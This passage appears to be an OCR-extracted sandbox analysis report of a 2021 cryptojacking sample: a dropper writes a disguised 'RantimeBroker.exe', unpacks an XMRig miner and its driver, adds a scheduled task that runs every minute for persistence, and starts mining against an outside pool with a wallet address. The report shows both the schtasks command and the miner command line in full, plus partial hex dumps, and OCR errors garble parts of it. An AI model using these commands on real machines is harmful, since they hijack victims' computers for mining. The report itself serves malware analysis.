File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 11408CD ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 11408CD ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown 176 success or wait 1 11408CD ReadFile
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 11408CD ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 11408CD ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 11408CD ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Runteb unknown 1100 success or wait 1 11408CD ReadFile
92aal2#\34957343ad5d84daee97alaffda91665\System.Runtime.Serialization.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 11408CD ReadFile
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 11408CD ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dil.aux
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 11408CD ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file 1 11408CD ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 11408CD ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 11408CD ReadFile
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Type Data Completion Count Address Symbol
Analysis Process: zmql3v0y.exe PID: 4012 Parent PID: 2100
General
Start time: 17:37:40
Start date: 23/02/2021
Path: C:\Users\user\AppData\Local\zmqI3v0y.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

‘C:\Users\user\AppData\Local\zmql3v0y.exe'

0xb30000
2611424 bytes

FOECEFED65B00699CC2B57BF81492F56

true

true

Net C# or VB.NET
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Yara matches: e Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source:
00000006.00000002.520808342.0000000000832000.00000020.00020000.sdmp, Author:
Joe Security
e Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source:
00000006.00000003.282484459.0000000001AC0000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source:
00000006.00000003.318537012.0000000003391000.00000004.00000001.sdmp, Author:

Joe Security
Reputation: low
‘ File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address  Symbol
C:\Users\user read data or list device directory file | object name collision 1 6DB6CF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list device directory file | object name collision 1 6DB6CF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming\Windows read data or list device directory file | success or wait 1 6C9BBEFF CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming\Windows\RantimeBroker.exe read attributes | device synchronous io  success or wait 1 DC1075 CreateFileWw
synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Roaming\Windows\cpu.zip read attributes | device synchronous io  success or wait 1 DC1075 CreateFileWw
synchronize | non alert | non
generic write directory file |
open no recall
C:\Users\user\AppData\Roaming\Windows\CPU read data or list device directory file | success or wait 1 6C9BBEFF CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming\Windows\CPU\config.json read attributes | device synchronous io  success or wait 1 DC1075 CreateFileWw
synchronize | non alert | non
generic write directory file |
open no recall
C:\Users\user\AppData\Roaming\Windows\CPU\cpu.exe read attributes | device synchronous io  success or wait 1 DC1075 CreateFileWw
synchronize | non alert | non
generic write directory file |
open no recall
C:\Users\user\AppData\Roaming\Windows\CPU\WinRing0x64.sys read attributes | device synchronous io  success or wait 1 DC1075 CreateFileWw
synchronize | non alert | non
generic write directory file |
open no recall
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Roaming\Windows\cpu.zip success or wait 1 6C9B6A95 DeleteFileW
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Roaming\Windows\RantimeBroker.exe unknown 1024 4d 529000030000 MZ.....ccocevveinnes @..... success or wait 2551 DOFD9A  WriteFile
00 04 00 00 00 ff ff 00

00 b8 00 00 00 00 00 .1..L.IThis program
00 00 40 00 00 00 00 cannot be run in DOS

00 00 00 00 00 00 00 mode....
00000000000000 $......PE..L..1"....

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 80 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 50 45 00 00 4c 01
07 00 9d ae 31 60 00
00 00 00 00 00 00 00
€0 00 02 01 Ob 01 Ob
00 00 50 00 00 00 08
00 00 00 00 00 00 58
c0 45 00 00 20 00 00
00 80 00 00 00 00 40
00 00 20 00 00 00 02
00 00 04 00 00 00 00
00 00 00 04 00 00 00
00 00 00 00 00 40 6d
00 00 04 00 00 9c 0Od
28 00 02 00 40 80 00
00 10 00 00 10 00 00
00 00 10 00 00 10 00
00 00 00 00 00 10 00
00 00 00 00 00 00 00
00 00

C:\Users\user\AppData\Roaming\Windows\cpu.zip unknown 4096 50 4b 03 04 14 00 00
0008 0001 7a3a52 config.json.V.n.0...+..C.v...-
67 7719 1fbf 0200 @rKQ iQ.Ea.......C.K..
00e30800000b00 {ly.D.E..C..=>.?

00 00 63 6f 6e 66 69 W..*....... 3.2<.V....x.,NP.
67 2e6a736f6ead <...v..4.K.{jr
56c96edb3010bd >...h~.Z.{&...Vhil.
e72b029d43d776 J..U.
e116e82d40724b [.....5..u.rUL.&WH..n.
51206951144561 .h .fh..NS..2..

8c a9 bl c4 9a e2 b0
43 ca 4b 8b fc 7b 49
79 89 44 d3 45 Oe 95
0143 9ac7 19 3d 3e
cea23f57d7el2a
cOaae2c3f5feal
33a8323c9b56eb
9b 17 db 86 78 85 2¢
4e 50 87 3cef 17 14
b5 f7 76 18 02 0d 2c
34 c6 c5 4b dO Oe 7b
81 6a 72 3e 98 8b c9
f4 fd 68 1c 7e 93 a2
07 5ae2 08 8e 7b 26
90 12 9d 13 9e 56 68
ce 69 31 3acf4afa
ee 55 9e 5b 1c f0 82
d6 93 83 35 1e b0 83
7501 72 55 31 b5 26
al 57 48 d2 c4 6e bf
8 68 f3 ca eb c4 9f c1
94 d4 6¢ 13 cd 8c 8a
cc c5 e4 66 68 13 b0
de 4e 53 a0 al 32 c6
ec f8 f5 b7 3f a9 16 c2
42 85 2e a3 1b 97 &d
e3

success or wait 2 6C9B1B4F WriteFile
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File Path

C:\Users\user\AppData\Roaming\Windows\cpu.zip

C:\Users\user\AppData\Roaming\Windows\CPU\config.json

Copyright null 2021

Offset Length Value

unknown 7814

unknown 2275

2a d9 58 5d 6a 83 ec
5143 4e 09 1c ea 94
59 bc a5 11 72 5¢ 54

€3 f4 25 0f b8 18 8d 0d $.Lx6.ErCPJ.E..h...I.....e-

ae e4 81 74 cb 66 16
a6 0b f2 b0 58 d0 0d
42858a0c 647178
ed e7 b4 7e a6 fe c4
80 b9 64 Oc c1 ba 79
€2 14 33 f5 06 29 8b
e8 9e 8f Oe 6 bb 96
ab 15 72 74 66 d3 e0
2d 32 7e fe a8 24 b2
4c 7836 a7 4572 43
50 4a d7 45 f5 c1 68
b0 93 f1 6¢ 80 8f 01 c3
fc 65 2d 6b Oc 4a 30
7c 6afb 3e 79 6d b7
ad a7 76 f0 75 cf 30
3a 6d 4b 4f 84 52 a3
55 f8 52 b9 46 ec a4
b2 c1 56 41 28 b7 b9
a4 6e e8 4a 43 b3 20
61 4f fd 72 b1 59 a5
al 89 f2 c8 b3 e5 70
el ae ac 92 5b 9b ed
03 15 cd 62 fd 57 9a
2c 32 ef 24 5a Oe e7
84 fb 51 06 4a 26 19
1a 79 de 6e 08 6d 8b
ef 49 6f 1a 9a be 1e
8d d7 e3 14 0d 04 68
68 de b3 d7 d5 21 95
0a 32 41 d9 fe e4 0d
42 dd 8 ca 2b 03 37
b3 df 16 d1 6c 4a 56
c6

7b 0a 20 20 20 20 22
6170 69 22 3a 20 7b
0a 20 20 20 20 20 20
202022 69 64 22 3a
20 6e 75 6¢ 6¢ 2c Da
2020 20 20 20 20 20
2022 77 6f 72 6b 65

72 2d 69 64 22 3a 20
6e 75 6¢ 6¢ Oa 20 20
20 20 7d 2c 0a 20 20
20202268 74 74 70
22 3a 20 7b 0a 20 20
20 20 20 20 20 20 22
65 6e 61 62 6¢ 65 64
22 3a2066 61 6¢ 73
65 2c 0a 20 20 20 20
20 20 20 20 22 68 6f

73 742232202231
3237 2e 30 2e 30 2e
3122 2c 0a 20 20 20
2020 20 20 20 22 70
6f 72 74 22 3a 20 30

2c 0a 20 20 20 20 20
202020 22 61 63 63
65 73 73 2d 74 6f 6b

65 6e 22 3a 20 6e 75
6¢ 6¢ 2c Oa 20 20 20
202020 20202272
6573 7472 69 63 74
65 64 22 3220 74 72
75 65 0a 20 20 20 20
7d 2c 0a 20 20 20 20
22617574 6f73 61

76 6522 3220 74 72
75 65 2c 0a 20 20 20
2022 62 61 63 6b 67
72 6f 75

Ascii

* XJj..QCN....Y..\T..%.....

Lt XLB.dgX...~.
Y3l rtf..-2~..

k.J
0[j.>ym...v.u.0:mKO.R.U.R
.F...VA(...n.JC.
ao.r.y.... p....
[...b.W.,2.$Z...Q.0&..y.n.
m..lo.......... hh....l.2A....
B...+.7...13V.

{ "api":{ "id": null,.

"worker-id": null. },.
"http": {. "enabled":
false,. "host":

AN "port": 0,

"access-token": null,.
"restricted": true. },.
"autosave": true,.
"backgrou

Completion

success or wait

success or wait

Source

Count Address Symbol

104

1

6C9B1B4F WriteFile

6C9B1B4F WriteFile
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File Path Offset

C:\Users\user\AppData\Roaming\Windows\CPU\cpu.exe unknown 65535

C:\Users\user\AppData\Roaming\ unknown 14544

Windows\CPU\WinRing0x64.sys

File Read

File Path
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

Copyright null 2021

Length Value

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 30 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 732070 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 70 7c 76 d6 34 1d
188534 1d 18 8534
1d 18 85 6f 75 1c 84
2e 1d 18 85 6f 75 1b
84 39 1d 18 85 6f 75
1d 84 fc 1d 18 85 aa
bd df 85 30 1d 18 85
8a 6c 1c 84 27 1d 18
85 8a 6¢ 1b 84 3e 1d
18 85 8a 6¢ 1d 84 al
1d 18 85 al 6f 1c 84
26 1d 18 85 6f 75 19
8421 1d 18 85 34 1d
1985 6b 1c 18 85 8¢
6¢ 1c 84 2b 1d 18 85
a3 6f1c 84 00 1f 18
85 al 6f 11 84 c0 1d
18 85 al 6f 1b 84 30
1d 18

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 e0 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
24 00 00 00 00 00 00
00 35 3a 6e fc 71 5b
00 af 71 5b 00 af 71
5b 00 af 71 5b 01 af
7d 5b 00 af 56 9d 7b
af 74 5b 00 af 56 9d
7d af 70 5b 00 af 56
9d 6d af 72 5b 00 af
56 9d 71 af 70 5b 00
af 56 9d 7c af 70 5b
00 af 56 9d 78 af 70
5b 00 af 52 69 63 68
71 5b 00 af 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 50
45 00 00 64 86 06 00
c1 26 8b 48 00 00 00
00 00 00 00 00 fo 00

Source

Ascii Completion Count Address Symbol
MZ..oooiiiiiieiens @..... success or wait 106 6C9B1B4F WriteFile
0... ..L.IThis program
cannot be run in DOS
mode....
$.....plv.4.4. 4. 0ou...

success or wait 1 6C9B1B4F WriteFile

............ 1..L.IThis program
cannot be run in DOS
mode....
$......5:n.q[..q[..q[..q[. }[..V.
{t[..V.}.p[..V.m.r[..V.q.
p[..V.].p[..V.x.p[..Richq]....

22 00 0b 02 08 00 00
Oc 00
Source

Offset Length Completion Count Address Symbol
unknown 4095 success or wait 1 D0B148 ReadFile
unknown 6135 success or wait 1 D0B148 ReadFile
unknown 176 success or wait 1 D0B148 ReadFile
unknown 4095 success or wait 1 D0B148 ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 DOB148 ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 DOB148 ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dil.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 DOB148 ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 DOB148 ReadFile
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 DOB148 ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file 1 DOB148 ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 DOB148 ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 DOB148 ReadFile
C:\Users\user\AppData\Local\zmgI3v0y.exe unknown 1024 success or wait 2551 DO0B148 ReadFile
C:\Users\user\Desktop\desktop.ini unknown 284 success or wait 1 DOB148 ReadFile
C:\Users\user\Documents\desktop.ini unknown 404 success or wait 1 D0B148 ReadFile
C:\Users\user\Music\desktop.ini unknown 506 success or wait 1 D0B148 ReadFile
C:\Users\user\Pictures\desktop.ini unknown 506 success or wait 1 D0B148 ReadFile
C:\Users\user\Videos\desktop.ini unknown 506 success or wait 1 D0B148 ReadFile
C:\Users\user\Downloads\desktop.ini unknown 284 success or wait 1 D0B148 ReadFile
C:\Users\user\AppData\Roaming\Windows\cpu.zip unknown 4096 success or wait 1 D0B148 ReadFile
C:\Users\user\AppData\Roaming\Windows\cpu.zip unknown 4096 success or wait 1 D0B148 ReadFile
C:\Users\user\AppData\Roaming\Windows\cpu.zip unknown 4096 success or wait 2 D0B148 ReadFile
C:\Users\user\AppData\Roaming\Windows\cpu.zip unknown 4096 success or wait 3 D0B148 ReadFile
C:\Users\user\AppData\Roaming\Windows\cpu.zip unknown 4137 success or wait 3 D0B148 ReadFile
C:\Windows\System32\drivers\etc\hosts unknown 2 success or wait 1 D0B148 ReadFile
C:\Windows\System32\drivers\etc\hosts unknown 998 success or wait 1 D0B148 ReadFile
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Data Completion Count Address Symbol
Analysis Process: schtasks.exe PID: 6484 Parent PID: 4012
General
Start time: 17:37:51
Start date: 23/02/2021
Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path

true

'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 1 /tn 'Windows Service
Microsoft Corporation' /tr ‘C:\Users\user\AppData\Roaming\Windows\RantimeBroker.exe' /f

0x1290000

185856 bytes
15FF7D8324231381BAD48A052F85DF04
true

true

C, C++ or other language

high

Source
Attributes Options Completion Count Address Symbol

Analysis Process: conhost.exe PID: 6492 Parent PID: 6484

General
Copyright null 2021
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

17:37:51

23/02/2021
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7ecfc0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
true

true

C, C++ or other language

high

Analysis Process: RantimeBroker.exe PID: 6552 Parent PID: 904

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

17:37:53

23/02/2021
C:\Users\user\AppData\Roaming\Windows\RantimeBroker.exe
true
C:\Users\user\AppData\Roaming\Windows\RantimeBroker.exe
0xd80000

2611424 bytes

FOECEFED65B00699CC2B57BF81492F56

true

true

Net C# or VB.NET

e Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source:
0000000F.00000002.319692642.0000000000D82000.00000020.00020000.sdmp, Author:

Joe Security

e Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source:
0000000F.00000002.328721362.0000000003CD1000.00000004.00000001.sdmp,

Author: Joe Security

e Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source:
0000000F.00000003.317443395.00000000015F0000.00000004.00000001.sdmp, Author:

Joe Security

Reputation: low
[ File Activities

File Created

Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ read attributes | device synchronous io  success or wait 1 1011075 CreateFileW
RantimeBroker.exe.log synchronize | non alert | non
generic write directory file
File Written
Source

File Path Offset Length Value Ascii Completion Count Address Symbol

Copyright null 2021
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\UsageLogs\RantimeBroker.exe.log

Offset Length Value

unknown 226

31 2c 22 66 75 73 69
6f 6e 22 2¢c 22 47 41

4322 2¢ 30 0d Oa 31
2c 22 57 69 6e 52 54
22 2c 22 4e 6f 74 41

7070 22 2c 31 0d Oa
332c2253797374
65 6d 2c 20 56 65 72
73 69 6f 6e 3d 34 2e
30 2e 30 2e 30 2c¢ 20
4375 6¢ 74 75 72 65
3d 6e 657574 72 61
6¢c 2¢c 20 50 75 62 6C
69 63 4b 65 79 54 6f
6b 65 6e 3d 62 37 37
61 35 63 35 36 31 39
3334 65 30 38 39 22
2c 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢c 61

73 73 65 6d 62 6¢C 79
5c 4e 61 74 69 76 65
49 6d 61 67 65 73 5f

76 34 2e 30 2e 33 30
3331395f33325¢

5379 73 74 65 6d 5¢
34 66 30 61 37 65 65
66 61 33 63 64 33 65
3062 6139386235
65 62 64 64 62 62 63
37 326536 5¢ 53 79
73 74 65 6d 2e 6e 69
2e 64 6¢ 6¢ 22 2¢ 30
0d Oa

Ascii

Completion

1,"fusion”,"GAC",0..1,"Win success or wait

RT",
"NotApp",1..3,"System,
Version=4.0.0.0,
Culture=neutral, Pub
lickeyToken=b77a5c5619
34e089",
"C:\Windows\assembly\Nat
ivelma
ges_v4.0.30319_32\Syste
m\4f0a7
eefa3cd3e0ba98b5ebddbb
c72e6\System.ni.dll",0..

Source
Count Address Symbol

6DE7C907 WriteFile

File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 F5B148 ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 F5B148 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown 176 success or wait 1 F5B148 ReadFile
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 F5B148 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 F5B148 ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

Analysis Process: cpu.exe PID: 6624 Parent PID: 4012
General
Start time: 17:37:58
Start date: 23/02/2021
Path: C:\Users\user\AppData\Roaming\Windows\CPU\cpu.exe

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Copyright null 2021

false

‘C:\Users\user\AppData\Roaming\Windows\CPU\cpu.exe' -0 stratum-+tcp://pool.minexm
r.com:4444 --algo cn/r -u 42ZYH6myZTcdLgfmCpSCggN8ppdku4PK16kH8UFFyTes
ddFwT5ihd2QFsWS2BGnuwXWfnrtbJbrsw7dggeBRZDJcUzia53j./ --donate-level=1

0x7ff652940000

6889640 bytes

E95F766A3748042EFBFOF05D823F82B7

true

true

C, C++ or other language
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Yara matches: e Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable,
Source:
00000010.00000002.547615511.0000020FCC320000.00000004.00000020.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source:
00000010.00000002.547615511.0000020FCC320000.00000004.00000020.sdmp,
Author: Joe Security

e Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable,
Source:
00000010.00000002.547631429.0000020FCC328000.00000004.00000020.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source:
00000010.00000002.547631429.0000020FCC328000.00000004.00000020.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source:
00000010.00000003.324849643.0000020FCC35B000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable,
Source:
00000010.00000002.547665443.0000020FCC34B000.00000004.00000020.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source:
00000010.00000002.547665443.0000020FCC34B000.00000004.00000020.sdmp,
Author: Joe Security

Reputation: low

[ File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

File Path Offset Length Completion Count Address Symbol

Analysis Process: conhost.exe PID: 6664 Parent PID: 6624

General

Start time: 17:37:59

Start date: 23/02/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: RantimeBroker.exe PID: 1632 Parent PID: 904

General

Start time: 17:39:05

Start date: 23/02/2021

Path: C:\Users\user\AppData\Roaming\Windows\RantimeBroker.exe

Wow64 process (32bit):

Commandline: C:\Users\user\AppData\Roaming\Windows\RantimeBroker.exe
Imagebase:

File size: 2611424 bytes

MD5 hash: FOECEFED65B00699CC2B57BF81492F56

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Reputation: low

Disassembly

Code Analysis
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